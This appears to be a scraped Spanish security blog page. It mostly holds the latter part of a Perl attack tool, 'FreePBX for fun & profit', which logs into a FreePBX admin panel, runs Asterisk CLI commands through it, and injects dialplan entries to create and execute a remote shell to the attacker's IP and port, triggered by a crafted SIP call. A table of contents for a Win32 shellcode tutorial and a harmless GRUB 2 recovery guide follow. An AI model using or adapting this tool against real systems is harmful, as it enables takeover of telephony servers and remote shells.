my $useragent = 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1';
my @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ username => $user, password => $pass, submit => 'Login' ]);

my $response = $ua->post($url, @header);

$cookie_jar->extract_cookies($response);
my $cookie = $cookie_jar->as_string;

$cookie =~ /\:\s(PHPSESSID=[a-z|A-Z|0-9]+)\;/;
$cookie = $1;

$url = "http://" . $host . "/admin/config.php?type=tool&display=cli";

if ($cli ne "") {
 my $res = asterisk_cli($cli);
 print "$res\n";
}

if ($create eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($sc1);
 asterisk_cli($sc2);
 asterisk_cli($sc3);
 asterisk_cli($sc4);
 asterisk_cli($sc5);
 asterisk_cli($sc6);
 asterisk_cli($sc7);
 asterisk_cli($sc8);
 asterisk_cli($sc9);
 asterisk_cli($sc10);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

if ($execute eq 1) {
 asterisk_cli($dreload);
 sleep(2);
 asterisk_cli($se1);
 asterisk_cli($se2);
 asterisk_cli($se3);
 my $res = asterisk_cli($dshow);
 print "$res\n";

 if ($call eq 1) {
 sleep(5);
 invite($ext, $host, "5060", $origip, $euser, $epass);
 sleep(3);
 }
}

exit;

sub asterisk_cli {
 my $command = shift;

 @header = ('User-Agent' => $useragent, 'Cookie' => $cookie, 'Connection' => 'keep-alive', 'Keep-Alive' => '300',
 Content => [ txtCommand => $command ]);

 my $response = $ua->post($url, @header);
 my $result = $response->content;

 my $x = index($result, "<pre>") + 5;
 my $y = index($result, "</pre>");
 $result = substr($result, $x, $y-$x);

 return $result;
}

sub encode {
 my $data = shift;

 $data =~ s/3/\\\\x33/g;
 $data =~ s/1/\\\\x31/g;
 $data =~ s/2/\\\\x32/g;
 $data =~ s/4/\\\\x34/g;
 $data =~ s/5/\\\\x35/g;
 $data =~ s/6/\\\\x36/g;
 $data =~ s/7/\\\\x37/g;
 $data =~ s/8/\\\\x38/g;
 $data =~ s/9/\\\\x39/g;
 $data =~ s/\./\\\\x2e/g;

 return $data;
}

sub invite {
 my $tfno = shift;
 my $astip = shift;
 my $nport = shift;
 my $myip = shift;
 my $user = shift;
 my $pass = shift;

 print "\nRealizando llamada ... \n\n";

 my $sc = new IO::Socket::INET->new(PeerPort=>$nport, Proto=>'udp', PeerAddr=>$astip, Timeout => 2);

 my $lport = $sc->sockport();

 my $branch = &generate_random_string(71, 0);
 my $callerid = &generate_random_string(32, 1);

 my $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 my $nonce = "";
 my $realm = "";
 my $data = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /nonce/ && $nonce eq "") {
 $line =~ /nonce\=\"(\w+)\"/i;

 if ($1) {
 $nonce = $1;
 }
 }

 if ($line =~ /realm/ && $realm eq "") {
 $line =~ /realm\=\"(\w+)\"/i;

 if ($1) {
 $realm = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($data ne "") {
 print "\nReceiving:\n=========\n$data\n\n" if ($v eq 1);

 $msg = "ACK sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-f19dea05177804a6-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>;tag=as66051ead\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 1 ACK\n";
 $msg .= "Content-Length: 0\n\n";

 print $sc $msg;

 print "\nSending:\n=======\n$msg\n\n" if ($v eq 1);

 $branch = &generate_random_string(71, 0);

 my $md5 = Digest::MD5->new;
 $md5->add($user, ':', $realm, ':', $pass);
 my $HXA = $md5->hexdigest;
 my $uri = "sip:".$tfno."@".$astip.";transport=UDP";

 $md5 = Digest::MD5->new;
 $md5->add('INVITE', ':', $uri);
 my $HXB = $md5->hexdigest;

 $md5 = Digest::MD5->new;
 $md5->add($HXA, ':', $nonce, ':', $HXB);
 my $response = $md5->hexdigest;

 $msg = "INVITE sip:".$tfno."@".$astip.";transport=UDP SIP/2.0\n";
 $msg .= "Via: SIP/2.0/UDP $myip:$lport;branch=z9hG4bK-d8754z-e400a1db44b6e0b7-1---d8754z-\n";
 $msg .= "Max-Forwards: 70\n";
 $msg .= "Contact: <sip:".$user."@".$myip.":$lport;transport=UDP>\n";
 $msg .= "To: <sip:".$tfno."@".$astip.";transport=UDP>\n";
 $msg .= "From: \"$user\"<sip:".$user."@".$astip.";transport=UDP>;tag=131bbb29\n";
 $msg .= "Call-ID: NDIzMTc2YzAzYWU4ZWE5YWYxYTRiMzQzNTk0MDBlZGQ.\n";
 $msg .= "CSeq: 2 INVITE\n";
 $msg .= "Allow: INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE\n";
 $msg .= "Content-Type: application/sdp\n";
 $msg .= "Supported: replaces, norefersub, extended-refer, X-cisco-serviceuri\n";
 $msg .= "User-Agent: Zoiper rev.11619\n";
 $msg .= "Authorization: Digest username=\"$user\",realm=\"$realm\",nonce=\"$nonce\",uri=\"$uri\",response=\"$response\",algorithm=MD5\n";
 $msg .= "Allow-Events: presence, kpml\n";
 $msg .= "Content-Length: 181\n\n";

 $msg .= "v=0\n";
 $msg .= "o=Z 0 0 IN IP4 $myip\n";
 $msg .= "s=Z\n";
 $msg .= "c=IN IP4 $myip\n";
 $msg .= "t=0 0\n";
 $msg .= "m=audio 8000 RTP/AVP 0 101\n";
 $msg .= "a=rtpmap:0 PCMU/8000\n";
 $msg .= "a=rtpmap:101 telephone-event/8000\n";
 $msg .= "a=fmtp:101 0-15\n";
 $msg .= "a=sendrecv\n\n";

 print $sc $msg;

 print "Sending:\n=======\n$msg\n\n" if ($v eq 1);

 $data = "";
 my $server = "";

 LOOP: {
 while (<$sc>) {
 my $line = $_;

 if ($line =~ /[Ss]erver/ && $server eq "") {
 $line =~ /[Ss]erver\:\s(.+)\r\n/;

 if ($1) {
 $server = $1;
 }
 }

 $data .= $line;

 if ($line =~ /^\r\n/) {
 last LOOP;
 }
 }
 }

 if ($v eq 1) {
 print "\nReceiving:\n=========\n$data\n\n";
 }

 my $dhost = "$astip:$nport";
 $dhost .= "\t" if (length($dhost) < 10);
 $server = "Unknown" if ($server eq "");
 }

 print "Llamada finalizada \n\n";
}

sub generate_random_string {
 my $length_of_randomstring = shift;
 my $only_hex = shift;
 my @chars;

 if ($only_hex == 0) {
 @chars = ('a'..'z','0'..'9');
 }
 else {
 @chars = ('a'..'f','0'..'9');
 }
 my $random_string;
 foreach (1..$length_of_randomstring) {
 $random_string.=$chars[rand @chars];
 }
 return $random_string;
}

sub help {
 print qq{
:: FreePBX for fun & profit - by Pepelux ::
 -------------------------------------

Uso: $0 -h <host> -u <user> -p <pass> [opciones]

 == Opciones ==
 -cli <commando> = Ejecutar comando de Asterisk
 -cs = Crear una shell
 -es = Ejecutar una shell
 -auto = Crea y ejecuta una shell
 -ip = Nuestra IP para la shell (para -cs y -call)
 -port = Puerto para la shell (por defecto: 31337)
 -ext = Extension a crear (por defecto: 999)
 -call = Realizar llamada tras la inyeccion
 -user = Usuario de nuestra extension
 -pass = Password de nuestra extension

 == Ejemplos ==
 $0 -h 192.168.1.1 -u admin -p 12345 -cli "sip show peers"
 $0 -h 192.168.1.1 -u admin -p 12345 -cs -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -es -ip 192.168.1.2 -call -user 206 -pass 1234
 $0 -h 192.168.1.1 -u admin -p 12345 -auto -ip 192.168.1.2 -call -user 206 -pass 1234
 };

 print "\n";
 exit 1;
}

Saludos!

Creación de shellcodes y exploits en win32

–[ Contenido

1 – Introduccion

2 – Antes de empezar
2.1 – Conocimientos previos
2.2 – Herramientas

3 – Creando un exploit local
3.1 – Creando un programa vulnerable
3.2 – Programando una shellcode
3.3 – Creando un exploit

4 – Creando otro exploit local
4.1 – Programando una shellcode
4.2 – Creando un exploit
4.3 – Solucion de problemas

5 – Haciendo mas estandar nuestro exploit

6 – Creando un exploit remoto
6.1 – Creando un programa vulnerable
6.2 – Programando una shellcode
6.3 – Creando un exploit

7 – Referencias

8 – Agradecimientos

ver la entrada completa

Recuperar GRUB 2 tras instalar Windows

Dichoso Windows! Si usas Windows y luego instalas Linux en otra partición el mismo grub te añadirá las particiones de Windows y las de Linux sin ningún problema. ¿Por qué entonces cuando lo haces al revés Windows no tiene en cuenta que NO es el único sistema operativo del mundo y que es posible que en tu máquina tengas ya configurado algo en el MBR?

Antes era más sencillo con el LILO o con GRUB. Bastaba con arrrancar con el “Super Grub Disk” (un programa antiguo pero que me ha sacado de más de un apuro) y restaurar tu MBR o simplemente arrancar la paartición que desees y luego reparar el MBR.

Pero con GRUB 2 la cosa cambia. El Super Grub Disk no me detectaba la partición de Linux (lo que hizo que algo empezara a subir hasta ponerse casi de corbata) así que Googleando, con un litro de café y probando varias cosas al final lo pude solucionar así:

1. Bajar la versión 9.10 de Ubuntu y quemarla en un CD … a pesar de ser usuario fiel de Debian 🙁

2. Arrancar con el CD de Ubuntu y arrancar con la primera opción, que no te hace cambios en el disco

3. Una vez cargado Ubuntu, abrimos una consola y ejecutamos:

  • sudo fdisk -l     // donde nos saldrá la tabla de particiones y debemos buscar la nuestra de Linux
  • sudo mount /dev/sda3 /mnt    // mi partición de Linux está en /dev/sda3
  • sudo grub-install –root-directory=/mnt /dev/sda

Y si todo ha ido bien, te restaurará el Grub anterior (en el que tapoco tenía Windows :))

En el caso de que haya dado error por no tener el fichero grub.cfg, lo podemos regenerar así:

  • sudo mount –bind /proc /mnt/proc
  • sudo mount –bind /sys /mnt/sys
  • sudo mount –bind /dev /mnt /dev
  • sudo chroot /mnt update-grub

Luego reiniciamos el equipo y veremos nuestro anterior Grub 2 y, como dije, sin el Windows ya que antes no lo tenía instalado.
Para añadir la partición de Windows tenemos que crear un fichero en /etc/grub.d al que llamaremos 20_windows_xp (ver /etc/grub.d/README para entender el formato del fichero):

#! /bin/bash -e cat << EOF
menuentry “Microsoft Windows XP Professional” {
set root=(hd0,2)
chainloader +1
}
EOF

(No olvidar meter un salto de línea después del EOF)

Luego ejecutar el siguiente comando (ya una vez arrancado nuestro Linux):

  • sudo update-grub2

Reiniciamos para verificarlo y, si no ha salido la partición de Windows, siempre la podemos añadir a mano en el grub.cfg (aunque luego cuando haya una actualización y se regenere la perderemos). Para ello editamos /boot/grub/grub.cfg y añadimos esto:

menuentry “Windows xp” {
insmod ntfs
set root=(hd0,2)
chainloader +1
}

Teniendo en cuenta que yo puse hd0,2 porque tengo en /dev/sda2 mi Windows